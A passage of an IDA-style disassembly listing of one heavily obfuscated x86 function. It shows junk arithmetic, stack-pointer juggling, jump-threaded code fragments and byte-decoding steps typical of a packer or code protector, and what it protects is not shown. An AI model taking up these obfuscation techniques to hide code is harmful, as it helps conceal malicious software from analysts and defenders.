		pop	ebx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_58DB1B
; ---------------------------------------------------------------------------


loc_58CE5C:				; CODE XREF: sub_57DD3A+DA4Dj
		xor	ch, dh
		mov	dx, word ptr [esp+80h+var_80]
		add	esp, 2
		add	ch, 1
		push	ax
		push	edx
		push	eax
		push	ecx
		mov	ch, 87h
		sub	ch, 0ECh
		jmp	loc_587BD3
; ---------------------------------------------------------------------------


loc_58CE77:				; CODE XREF: sub_57DD3A+F831j
		mov	[esp+8Ah+var_8C+2], edi
		mov	edi, 65CF3631h
		sub	edi, 0FFFFFFFFh
		shr	edi, 4
		shl	edi, 5
		shl	edi, 6
		sub	edi, 8E6AC74Eh
		jmp	loc_58515B
; ---------------------------------------------------------------------------


loc_58CE99:				; CODE XREF: sub_57DD3A+A3C5j
		xchg	edx, [esp+7Ah+var_7C+2]
		pop	esp
		bt	[esp+76h+var_78+2], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58CEA7:				; CODE XREF: sub_57DD3A+40D9j
		push	esi
		mov	esi, 58ED6779h
		jmp	loc_589CD2
; ---------------------------------------------------------------------------


loc_58CEB2:				; CODE XREF: sub_57DD3A+D2F0j
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	eax, [ebx]
		mov	ebx, [esp+0A0h+var_A0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0A4h+var_A4]
		pop	esp
		push	[esp+0A0h+var_A0]
		mov	edx, [esp+0A4h+var_A4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_584E43
; ---------------------------------------------------------------------------


loc_58CEE6:				; CODE XREF: sub_57DD3A+FCB7j
		add	[esp+0A8h+var_A8], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58CEEF:				; CODE XREF: sub_57DD3A+44D5j
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		pop	ebp
		push	edx
		mov	edx, 2
		jmp	loc_58CCE4
; ---------------------------------------------------------------------------


loc_58CF01:				; CODE XREF: sub_57DD3A+74AEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0C0h+var_C0]
		pop	esp
		not	edi
		jmp	loc_58B6C5
; ---------------------------------------------------------------------------


loc_58CF1A:				; CODE XREF: sub_57DD3A+BC7Dj
		push	691Dh
		jmp	loc_58C988
; ---------------------------------------------------------------------------


loc_58CF24:				; CODE XREF: sub_57DD3A+B6CAj
		or	cl, 0FCh
		add	cl, 63h
		inc	cl
		jmp	loc_58B2C1
; ---------------------------------------------------------------------------


loc_58CF31:				; CODE XREF: sub_57DD3A+F3B0j
		add	ecx, 3FC7C91Eh
		or	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 6AE3DEF1h
		add	esi, ebx
		jmp	loc_58B2D3
; ---------------------------------------------------------------------------


loc_58CF49:				; CODE XREF: sub_57DD3A+3FD8j
		mov	edx, 17361499h
		or	edx, 41321CACh
		xor	edx, 0AD745BB4h
		jmp	loc_58529B
; ---------------------------------------------------------------------------


loc_58CF5F:				; CODE XREF: sub_57DD3A+AB1Cj
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp+60h+var_60]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], esi
		xor	esi, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		push	66C8h
		mov	[esp+60h+var_60], edi
		sub	esp, 4
		mov	[esp+64h+var_64], ecx
		mov	ecx, 800h
		push	6A7h
		mov	[esp+68h+var_68], ecx
		push	[esp+68h+var_68]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6Ch+var_6C]
		pop	esp
		jmp	loc_585BE0
; ---------------------------------------------------------------------------


loc_58CFB9:				; CODE XREF: sub_57DD3A+C28Cj
		push	ebx
		push	[esp+0DCh+var_D8]
		pop	ebx
		jmp	loc_58BF0C
; ---------------------------------------------------------------------------


loc_58CFC4:				; CODE XREF: sub_57DD3A+94EDj
		add	eax, 3DA46FBCh
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5844FF
; ---------------------------------------------------------------------------


loc_58CFD1:				; CODE XREF: sub_57DD3A+5F1Fj
		xchg	edi, [esp+7Eh+var_80+2]
		jmp	loc_58D635
; ---------------------------------------------------------------------------


loc_58CFD9:				; CODE XREF: sub_57DD3A+47D9j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58CFDE:				; CODE XREF: sub_57DD3A+DFF6j
		mov	esi, 60D134F2h
		sub	edx, esi
		pop	esi
		pop	esi
		add	edx, 2
		xchg	edx, [esp+56h+var_58+2]
		jmp	loc_585EC0
; ---------------------------------------------------------------------------


loc_58CFF2:				; CODE XREF: sub_57DD3A+B432j
		mov	[esp+62h+var_64+2], ebx
		mov	ebx, [esp+62h+var_64+2]
		push	ebp
		push	esp
		jmp	loc_5882BC
; ---------------------------------------------------------------------------


loc_58CFFF:				; CODE XREF: sub_57DD3A+A37Aj
		xchg	ebx, [esp+76h+var_78+2]
		pop	esp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58D008:				; CODE XREF: sub_57DD3A+692Bj
		push	edi
		mov	edi, 4
		add	[esp+84h+var_80], edi
		pop	edi
		jmp	loc_58C022
; ---------------------------------------------------------------------------


loc_58D018:				; CODE XREF: sub_57DD3A+6F39j
		mov	esp, [esp+84h+var_84]
		jmp	loc_581E18
; ---------------------------------------------------------------------------


loc_58D020:				; CODE XREF: sub_57DD3A+537Dj
		mov	[esp+0A2h+var_A4+2], edx
		mov	edx, 95B21BF8h
		jmp	loc_586E2B
; ---------------------------------------------------------------------------


loc_58D02D:				; CODE XREF: sub_57DD3A+666Aj
		push	edi
		mov	edi, 4
		jmp	loc_58733F
; ---------------------------------------------------------------------------


loc_58D038:				; CODE XREF: sub_57DD3A+48B6j
		mov	esi, 275D0803h
		sub	esi, 1DFCEF4h
		sub	ebx, 9D7181Bh
		jmp	loc_588D0E
; ---------------------------------------------------------------------------


loc_58D04E:				; CODE XREF: sub_57DD3A+A569j
		mov	[esp+7Eh+var_80+2], edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp+7Eh+var_80+2]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], edi
		jmp	loc_58D39D
; ---------------------------------------------------------------------------


loc_58D06F:				; CODE XREF: sub_57DD3A+EA4Cj
		mov	eax, 0BCF23E4h
		xor	edi, eax
		jmp	loc_581E48
; ---------------------------------------------------------------------------


loc_58D07B:				; CODE XREF: sub_57DD3A+E4C8j
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ecx
		push	ebx
		mov	ebx, 3B526F22h
		mov	ecx, ebx
		jmp	loc_5830AD
; ---------------------------------------------------------------------------


loc_58D08E:				; CODE XREF: sub_57DD3A+49D9j
		mov	bl, 23h
		jmp	loc_58722C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_58CCD3
; ---------------------------------------------------------------------------


loc_58D0A8:				; CODE XREF: sub_57DD3A+90D4j
		sub	edi, 2E1A65F9h
		jmp	loc_581C60
; ---------------------------------------------------------------------------


loc_58D0B3:				; CODE XREF: sub_57DD3A+E549j
		sub	edi, 68CA17D1h
		add	edi, 0DD132CFh
		sub	edi, 59813994h
		jmp	loc_58D68B
; ---------------------------------------------------------------------------


loc_58D0CA:				; CODE XREF: sub_57DD3A+74F2j
		add	edi, ecx
		add	edi, 779756Fh
		pop	ecx
		jmp	loc_582D13
; ---------------------------------------------------------------------------


loc_58D0D8:				; CODE XREF: sub_57DD3A+41C6j
		pop	ebx
		pop	[esp+76h+var_78+2]
		push	[esp+72h+var_74+2]
		jmp	loc_581EB1
; ---------------------------------------------------------------------------


loc_58D0E4:				; CODE XREF: sub_57DD3A+C415j
		push	ecx
		mov	ecx, 22FB45ACh
		jmp	loc_58CF31
; ---------------------------------------------------------------------------


loc_58D0EF:				; CODE XREF: sub_57DD3A+5D66j
		sub	[esp+66h+var_68+2], 15D303F6h
		push	[esp+66h+var_68+2]
		mov	eax, [esp+6Ah+var_6C+2]
		jmp	loc_58A033
; ---------------------------------------------------------------------------


loc_58D101:				; CODE XREF: sub_57DD3A+8923j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 45092C7Dh
		jmp	loc_5833FD
; ---------------------------------------------------------------------------


loc_58D115:				; CODE XREF: sub_57DD3A+EECFj
		mov	ebp, 66135B44h
		jmp	loc_587175
; ---------------------------------------------------------------------------


loc_58D11F:				; CODE XREF: sub_57DD3A+70A5j
		mov	ecx, esp
		push	edi
		jmp	loc_58AF78
; ---------------------------------------------------------------------------


loc_58D127:				; CODE XREF: sub_57DD3A+10014j
		add	ebp, 4
		xchg	ebp, [esp+0D8h+var_D8]
		mov	esp, [esp+0D8h+var_D8]
		jmp	loc_58DA16
; ---------------------------------------------------------------------------


loc_58D135:				; CODE XREF: sub_57DD3A+CACDj
		pop	eax
		pop	ebp
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+50h+var_50]
		jmp	loc_58D851
; ---------------------------------------------------------------------------


loc_58D142:				; CODE XREF: sub_57DD3A+8B8Fj
		push	ecx
		mov	ecx, 55FE4D11h
		mov	edi, 0BEBED273h
		add	edi, ecx
		mov	ecx, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_58C377
; ---------------------------------------------------------------------------


loc_58D15A:				; CODE XREF: sub_57DD3A+EE16j
		sub	ebp, 51D5E8E1h
		jmp	loc_585953
; ---------------------------------------------------------------------------


loc_58D165:				; CODE XREF: sub_57DD3A+62CBj
		push	35572EF2h
		pop	ebp
		dec	ebp
		inc	ebp
		push	6030h
		jmp	loc_585336
; ---------------------------------------------------------------------------


loc_58D177:				; CODE XREF: sub_57DD3A+F58Fj
		mov	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+0B4h+var_B4]
		pop	esp
		xchg	esi, [esp+0B0h+var_B0]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58D189:				; CODE XREF: sub_57DD3A+957Bj
		xor	ecx, [esp+78h+var_78]
		jmp	loc_58D531
; ---------------------------------------------------------------------------


loc_58D191:				; CODE XREF: sub_57DD3A+7372j
		sub	[esp+80h+var_7C], 613C0879h
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		push	[esp+7Ch+var_7C]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ebp
		jmp	loc_587621
; ---------------------------------------------------------------------------


loc_58D1B4:				; CODE XREF: sub_57DD3A+B582j
		sub	al, 49h
		sub	al, bl
		add	al, 49h
		push	bx
		mov	bh, 0B6h
		sub	al, bh
		jmp	loc_584651
; ---------------------------------------------------------------------------


loc_58D1C5:				; CODE XREF: sub_57DD3A+AFF8j
		mov	ebx, esp
		push	esi
		push	edx
		mov	edx, 62B87353h
		mov	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 37B358DDh
		shl	ebx, 3
		or	ebx, 2C736FACh
		inc	ebx
		push	edi
		mov	edi, 0
		sub	edi, ebx
		mov	ebx, edi
		pop	edi
		sub	ebx, 0A4BC8362h
		add	esi, ebx
		pop	ebx
		add	ebx, esi
		pop	esi
		jmp	loc_58B100
; ---------------------------------------------------------------------------


loc_58D1FD:				; CODE XREF: sub_57DD3A+F10Cj
		pop	edx
		jmp	loc_589184
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Eh+var_90+2]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+96h+var_98+2], eax
		mov	eax, 49D17C73h
		shr	eax, 7
		xchg	eax, edi
		not	edi
		jmp	loc_5830D4
; ---------------------------------------------------------------------------


loc_58D220:				; CODE XREF: sub_57DD3A+8628j
		sub	bl, 0F3h
		not	bl
		add	bl, 0F1h
		mov	ch, bl
		jmp	loc_58D3F6
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 91h
		jmp	loc_58AA07
; ---------------------------------------------------------------------------


loc_58D237:				; CODE XREF: sub_57DD3A+4A8Fj
		add	esi, ecx
		mov	ecx, [esp+0AAh+var_AC+2]
		add	esp, 4
		add	esi, 619367DEh
		add	esi, ecx
		sub	esi, 619367DEh
		sub	esi, 4F894473h
		mov	ecx, [esp+0A6h+var_A8+2]
		add	esp, 4
		push	esi
		push	[esp+0A6h+var_A4+2]
		pop	esi
		pop	[esp+0A6h+var_A8+2]
		pop	esp
		idiv	cl
		jmp	loc_5859B7
; ---------------------------------------------------------------------------


loc_58D26A:				; CODE XREF: sub_57DD3A+75CFj
		mov	edx, [esp+76h+var_78+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_584014
; ---------------------------------------------------------------------------


loc_58D27E:				; CODE XREF: sub_57DD3A+730Aj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+72h+var_74+2]
		jmp	loc_58B614
; ---------------------------------------------------------------------------


loc_58D291:				; CODE XREF: sub_57DD3A+70DFj
		shl	esi, 6
		jmp	loc_581A29
; ---------------------------------------------------------------------------


loc_58D299:				; CODE XREF: sub_57DD3A+BF44j
		push	[esp+0A4h+var_A4]
		pop	esi
		push	ebx
		push	7322h
		mov	[esp+0ACh+var_AC], esp
		push	esi
		mov	esi, 4
		add	[esp+0B0h+var_AC], esi
		pop	esi
		pop	ebx
		add	ebx, 4
		push	esi
		push	ecx
		mov	ecx, 13726400h
		dec	ecx
		dec	ecx
		not	ecx
		add	ecx, 13726403h
		jmp	loc_58D177
; ---------------------------------------------------------------------------


loc_58D2CE:				; CODE XREF: sub_57DD3A+EF29j
		mov	[esp+8Eh+var_90+2], ecx
		jmp	loc_5828B4
; ---------------------------------------------------------------------------


loc_58D2D6:				; CODE XREF: sub_57DD3A+B891j
		neg	ah
		xchg	ah, cl
		xor	cl, 1Bh
		mov	bh, cl
		jmp	loc_588733
; ---------------------------------------------------------------------------


loc_58D2E4:				; CODE XREF: sub_57DD3A+DF54j
		sub	bh, dh
		pop	edx
		add	al, bh
		pop	ebx
		push	small 72FBh
		mov	word ptr [esp+8Ah+var_8C+2], dx
		jmp	loc_58D320
; ---------------------------------------------------------------------------


loc_58D2F7:				; CODE XREF: sub_57DD3A+53B0j
		sub	eax, 22A40110h
		mov	esi, [esp+0A6h+var_A8+2]
		push	esi
		jmp	loc_585F2D
; ---------------------------------------------------------------------------


loc_58D305:				; CODE XREF: sub_57DD3A+6982j
		pop	esp


loc_58D306:				; CODE XREF: sub_57DD3A+3EF2j
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		mov	[esp+0A2h+var_A4+2], ebx
		push	edi
		jmp	loc_58C95B
; ---------------------------------------------------------------------------


loc_58D320:				; CODE XREF: sub_57DD3A+F5B8j
		push	bx
		mov	bh, 0D8h
		push	eax
		push	ecx
		mov	cl, bh
		mov	al, cl
		jmp	loc_5874D6
; ---------------------------------------------------------------------------


loc_58D32F:				; CODE XREF: sub_57DD3A+CCD4j
		mov	dl, 20h
		add	dl, 3Ch
		add	dl, 4Ch
		push	ax
		mov	al, 26h
		add	dl, al
		jmp	loc_582547
; ---------------------------------------------------------------------------


loc_58D342:				; CODE XREF: sub_57DD3A+CD34j
		add	esi, 63AA1567h
		sub	esi, edx
		sub	esi, 63AA1567h
		pop	edx
		add	ebp, 4C71676Ah
		add	ebp, esi
		sub	ebp, 4C71676Ah
		mov	esi, [esp+72h+var_74+2]
		jmp	loc_587DF3
; ---------------------------------------------------------------------------


loc_58D367:				; CODE XREF: sub_57DD3A+B28Fj
		push	edx
		push	[esp+5Ch+var_58]
		mov	edx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_5826F0
; ---------------------------------------------------------------------------


loc_58D37A:				; CODE XREF: sub_57DD3A+4222j
		pop	esp
		sub	esp, 4
		mov	[esp+76h+var_78+2], edx
		sub	esp, 4
		jmp	loc_58430F
; ---------------------------------------------------------------------------


loc_58D38F:				; CODE XREF: sub_57DD3A+8A66j
		mov	[esp+60h+var_60], ecx
		push	edx
		mov	edx, 7B4723CFh
		jmp	loc_588D6D
; ---------------------------------------------------------------------------


loc_58D39D:				; CODE XREF: sub_57DD3A+F330j
		xor	edi, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		add	ebx, 1
		xchg	ebx, [edi+24h]
		jmp	loc_5821C8
; ---------------------------------------------------------------------------


loc_58D3B1:				; CODE XREF: sub_57DD3A+8404j
		pop	eax
		xor	esi, 32F62753h
		sub	esi, 4FE15B92h
		sub	ebp, 779B56C0h
		add	ebp, esi
		add	ebp, 779B56C0h
		pop	esi
		add	ebp, 2
		jmp	loc_5820A2
; ---------------------------------------------------------------------------


loc_58D3D8:				; CODE XREF: sub_57DD3A+568Aj
		xor	ebx, 4F2B75C8h
		push	4268h
		jmp	loc_58971E
; ---------------------------------------------------------------------------


loc_58D3E8:				; CODE XREF: sub_57DD3A+B4F7j
		add	esi, ebp
		add	esi, 7C636A1Dh
		pop	ebp
		jmp	loc_5865C8
; ---------------------------------------------------------------------------


loc_58D3F6:				; CODE XREF: sub_57DD3A+F4F0j
		pop	ebx
		sub	ch, dl
		pop	edx
		xor	ch, 0F6h
		add	al, ch
		jmp	loc_58A420
; ---------------------------------------------------------------------------


loc_58D404:				; CODE XREF: sub_57DD3A+C810j
		mov	esi, 399F3D8Eh
		push	edi
		mov	edi, 13187B8Eh
		shl	edi, 1
		sub	edi, 48CA17A4h
		not	edi
		add	edi, 20F6F4C7h
		sub	esi, edi
		jmp	loc_585348
; ---------------------------------------------------------------------------


loc_58D426:				; CODE XREF: sub_57DD3A+A8C8j
		add	edx, 713B4A79h
		pop	eax
		jmp	loc_5884BB
; ---------------------------------------------------------------------------


loc_58D432:				; CODE XREF: sub_57DD3A+62D5j
		add	ch, bl
		pop	ebx
		sub	al, ch
		pop	ecx
		push	ecx
		mov	ch, 75h
		shl	ch, 2
		not	ch
		shl	ch, 4
		push	edx
		jmp	loc_583A37
; ---------------------------------------------------------------------------


loc_58D449:				; CODE XREF: sub_57DD3A+F046j
		add	esp, 4
		add	ebp, 31D55133h
		dec	ebp
		jmp	loc_588EFF
; ---------------------------------------------------------------------------


loc_58D45B:				; CODE XREF: sub_57DD3A+E494j
		add	ebp, 48AB6D11h
		jmp	loc_58553F
; ---------------------------------------------------------------------------


loc_58D466:				; CODE XREF: sub_57DD3A+8753j
		mov	ecx, 741018A9h
		jmp	loc_589E06
; ---------------------------------------------------------------------------


loc_58D470:				; CODE XREF: sub_57DD3A+D002j
		mov	ebx, 74596F5Bh
		dec	ebx
		xor	ebx, 0BBA5204h
		sub	esi, ebx
		jmp	loc_58A99D
; ---------------------------------------------------------------------------


loc_58D483:				; CODE XREF: sub_57DD3A+A47Aj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp+8Ah+var_8C+2]
		jmp	loc_582508
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_588E98
; ---------------------------------------------------------------------------


loc_58D49F:				; CODE XREF: sub_57DD3A+660Aj
		mov	edi, [esp+98h+var_98]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	edi
		mov	edi, esp
		jmp	loc_582D56
; ---------------------------------------------------------------------------


loc_58D4B6:				; CODE XREF: sub_57DD3A+C09Cj
		mov	ebx, 19E74164h
		add	ebx, 2B106E67h
		jmp	loc_5853AE
; ---------------------------------------------------------------------------


loc_58D4C6:				; CODE XREF: sub_57DD3A+5C7Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+70h+var_70]
		pop	esp
		xor	esi, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], esi
		xor	esi, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		movzx	ecx, al
		push	4C22h
		mov	[esp+70h+var_70], edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		jmp	loc_582F21
; ---------------------------------------------------------------------------


loc_58D4F8:				; CODE XREF: sub_57DD3A+D2B1j
		shl	eax, 2
		inc	eax
		shl	eax, 4
		push	ebp
		mov	ebp, 2E63C6h
		dec	ebp
		shr	ebp, 5
		xor	ebp, 59A91280h
		or	ebp, 3B3155B9h
		add	ebp, 10F3A269h
		sub	eax, ebp
		pop	ebp
		jmp	loc_58B98C
; ---------------------------------------------------------------------------


loc_58D523:				; CODE XREF: sub_57DD3A+75C9j
		pop	eax
		sub	al, 3Dh
		add	al, 79h
		sub	al, ch
		sub	al, 79h
		jmp	loc_581961
; ---------------------------------------------------------------------------


loc_58D531:				; CODE XREF: sub_57DD3A+F452j
		mov	esp, [esp+78h+var_78]
		push	ebx
		push	eax
		push	3616h
		mov	[esp+84h+var_84], ebx
		mov	bh, dl
		push	ecx
		push	edx
		mov	dh, bh
		jmp	loc_58605A
; ---------------------------------------------------------------------------


loc_58D549:				; CODE XREF: sub_57DD3A+969Dj
		shl	dh, 2
		jmp	loc_58B5C8
; ---------------------------------------------------------------------------


loc_58D551:				; CODE XREF: sub_57DD3A+4A6Bj
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp+0A6h+var_A8+2]
		add	esp, 4
		sub	eax, ebx
		pop	ebx
		add	ebx, 28D52691h
		sub	esp, 4
		jmp	loc_58CE77
; ---------------------------------------------------------------------------


loc_58D570:				; CODE XREF: sub_57DD3A+8181j
		sub	ecx, 4
		xchg	ecx, [esp+50h+var_50]
		pop	esp
		jmp	loc_587FC5
; ---------------------------------------------------------------------------


loc_58D57C:				; CODE XREF: sub_57DD3A+CAC7j
		push	eax
		push	ebx
		jmp	loc_58CB34
; ---------------------------------------------------------------------------


loc_58D583:				; CODE XREF: sub_57DD3A+6866j
		xor	edi, 2961477Fh
		or	edi, 7F5E23B8h
		xor	edi, 65F14760h
		sub	ebp, edi
		pop	edi
		jmp	loc_58BDE2
; ---------------------------------------------------------------------------


loc_58D59D:				; CODE XREF: sub_57DD3A+44E7j
		push	113Fh
		mov	[esp+7Eh+var_80+2], esp
		add	[esp+7Eh+var_80+2], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+7Ah+var_7C+2]
		pop	esp
		mov	[esp+76h+var_78+2], ecx
		jmp	loc_58A0B1
; ---------------------------------------------------------------------------


loc_58D5C5:				; CODE XREF: sub_57DD3A+DE60j
		mov	ebp, 678B28EEh
		push	5486h
		mov	[esp+74h+var_74], esi
		push	ebx
		push	6ABC7BB6h
		jmp	loc_58D5FC
; ---------------------------------------------------------------------------


loc_58D5DD:				; CODE XREF: sub_57DD3A+6CA1j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 1CE94865h
		sub	eax, 26AE765Ah
		push	ecx
		mov	ecx, 0
		sub	ecx, eax
		mov	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_583740
; ---------------------------------------------------------------------------


loc_58D5FC:				; CODE XREF: sub_57DD3A+F89Ej
		pop	ebx
		and	ebx, 4EA6797Ch
		add	ebx, 227995A4h
		jmp	loc_588FCE
; ---------------------------------------------------------------------------


loc_58D60E:				; CODE XREF: sub_57DD3A+B058j
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp+88h+var_84]
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_58B0D3
; ---------------------------------------------------------------------------


loc_58D624:				; CODE XREF: sub_57DD3A+8FD4j
		add	ecx, 485C6Fh
		push	ebp
		mov	ebp, 7061F8Ch
		jmp	loc_58AE04
; ---------------------------------------------------------------------------


loc_58D635:				; CODE XREF: sub_57DD3A+F29Aj
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_58DC8D
; ---------------------------------------------------------------------------


loc_58D63D:				; CODE XREF: sub_57DD3A+48BEj
		xor	ecx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		push	3A6Eh
		mov	[esp+7Ch+var_7C], edx
		push	292Dh
		mov	[esp+80h+var_80], esi
		jmp	loc_581E66
; ---------------------------------------------------------------------------


loc_58D658:				; CODE XREF: sub_57DD3A+7A69j
		add	esp, 4
		jmp	loc_58D9A0
; ---------------------------------------------------------------------------


loc_58D663:				; CODE XREF: sub_57DD3A+3D09j
		or	eax, 72371035h
		add	eax, 0A46992A8h
		mov	esi, eax
		pop	eax
		jmp	loc_5864AC
; ---------------------------------------------------------------------------


loc_58D675:				; CODE XREF: sub_57DD3A+5A86j
		xor	dl, al
		pop	ax
		jmp	loc_5873F3
; ---------------------------------------------------------------------------


loc_58D67E:				; CODE XREF: sub_57DD3A+9F59j
		sub	edx, edi
		jmp	loc_586384
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5838CD
; ---------------------------------------------------------------------------


loc_58D68B:				; CODE XREF: sub_57DD3A+F38Bj
		pop	ebx
		std
		push	0Ah
		push	[esp+84h+var_84]
		mov	ecx, [esp+88h+var_88]
		jmp	loc_589E0E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		mov	eax, [esp+8Ch+var_8C]
		push	ecx
		jmp	loc_5819B9
; ---------------------------------------------------------------------------


loc_58D6A9:				; CODE XREF: sub_57DD3A+5684j
		dec	edx
		sub	edx, 0E69DFEEFh
		add	eax, edx
		mov	edx, [esp+0D4h+var_D4]
		jmp	loc_5830E5
; ---------------------------------------------------------------------------


loc_58D6BA:				; CODE XREF: sub_57DD3A+D274j
		add	ebx, 4
		xchg	ebx, [esp+6Ah+var_6C+2]
		jmp	loc_58384D
; ---------------------------------------------------------------------------


loc_58D6C8:				; CODE XREF: sub_57DD3A+E1CDj
		mov	eax, [esp+0A2h+var_A4+2]
		add	esp, 4
		jmp	loc_582226
; ---------------------------------------------------------------------------


loc_58D6D3:				; CODE XREF: sub_57DD3A+AEB6j
		shl	ecx, 1
		sub	ecx, 3BD6B10Dh
		sub	edi, ecx
		jmp	loc_58B928
; ---------------------------------------------------------------------------


loc_58D6E2:				; CODE XREF: sub_57DD3A+5CBFj
		shl	edi, 6
		jmp	loc_583E9B
; ---------------------------------------------------------------------------


loc_58D6EA:				; CODE XREF: sub_57DD3A+DAC5j
		push	eax
		push	esp
		mov	eax, [esp+0AEh+var_B0+2]
		add	esp, 4
		jmp	loc_58925D
; ---------------------------------------------------------------------------


loc_58D6FA:				; CODE XREF: sub_57DD3A+D7BDj
		dec	cl
		add	cl, 21h
		sub	al, cl
		pop	ecx
		add	al, bl
		add	al, 0FDh
		mov	bx, word ptr [esp+84h+var_84]
		jmp	loc_584986
; ---------------------------------------------------------------------------


loc_58D70F:				; CODE XREF: sub_57DD3A+D6FFj
		sub	si, dx
		pop	dx
		pop	bp
		jmp	loc_583620
; ---------------------------------------------------------------------------


loc_58D71B:				; CODE XREF: sub_57DD3A+D3C9j
		xchg	ebx, [esp+8Ch+var_8C]
		pop	esp
		sub	edx, 8BB2492h
		mov	ebx, edx
		push	[esp+88h+var_88]
		pop	edx
		add	esp, 4
		jmp	loc_585AA9
; ---------------------------------------------------------------------------


loc_58D736:				; CODE XREF: sub_57DD3A+6E05j
		or	edx, 7BA17DF1h
		shr	edx, 7
		push	eax
		mov	eax, 5EF012EEh
		dec	eax
		push	ecx
		mov	ecx, 725350FFh
		add	ecx, 2FB4173Ch
		xor	ecx, 41E366DCh
		shl	ecx, 7
		xor	ecx, 0F63244DAh
		jmp	loc_58C30B
; ---------------------------------------------------------------------------


loc_58D766:				; CODE XREF: sub_57DD3A+6124j
		sub	ebp, 48501035h
		not	ebp
		jmp	loc_588D42
; ---------------------------------------------------------------------------


loc_58D773:				; CODE XREF: sub_57DD3A+5EAAj
		mov	ecx, [esp+76h+var_78+2]
		add	esp, 4
		xchg	edx, [esp+72h+var_74+2]
		jmp	loc_589CE8
; ---------------------------------------------------------------------------


loc_58D781:				; CODE XREF: sub_57DD3A+FD62j
		pop	eax
		add	edi, 672B153Bh
		jmp	loc_5824FD
; ---------------------------------------------------------------------------


loc_58D78D:				; CODE XREF: sub_57DD3A+B0FFj
		add	edx, ecx
		pop	ecx
		xor	edi, edx
		jmp	loc_58775E
; ---------------------------------------------------------------------------


loc_58D797:				; CODE XREF: sub_57DD3A+FFEBj
		mov	edi, 3B06360Fh
		add	edx, edi
		pop	edi
		add	edx, ecx
		sub	edx, 3B06360Fh
		jmp	loc_58D995
; ---------------------------------------------------------------------------


loc_58D7AC:				; CODE XREF: sub_57DD3A+7343j
		mov	bh, 35h
		add	al, bh
		jmp	loc_58CCB0
; ---------------------------------------------------------------------------


loc_58D7B5:				; CODE XREF: sub_57DD3A+B9A1j
		add	bl, 81h
		sub	bl, al
		sub	bl, 81h
		add	bl, 8Ah
		jmp	loc_587E83
; ---------------------------------------------------------------------------


loc_58D7C5:				; CODE XREF: sub_57DD3A+7361j
		sub	esp, 4
		jmp	loc_589D77
; ---------------------------------------------------------------------------


loc_58D7D0:				; CODE XREF: sub_57DD3A+7390j
		sub	al, 0AFh
		dec	al
		xor	al, 91h
		or	al, 1Dh
		jmp	loc_587DE3
; ---------------------------------------------------------------------------


loc_58D7DD:				; CODE XREF: sub_57DD3A+6C98j
		mov	dl, 26h
		shr	dl, 4
		and	dl, 0D9h
		push	bx
		jmp	loc_58BA33
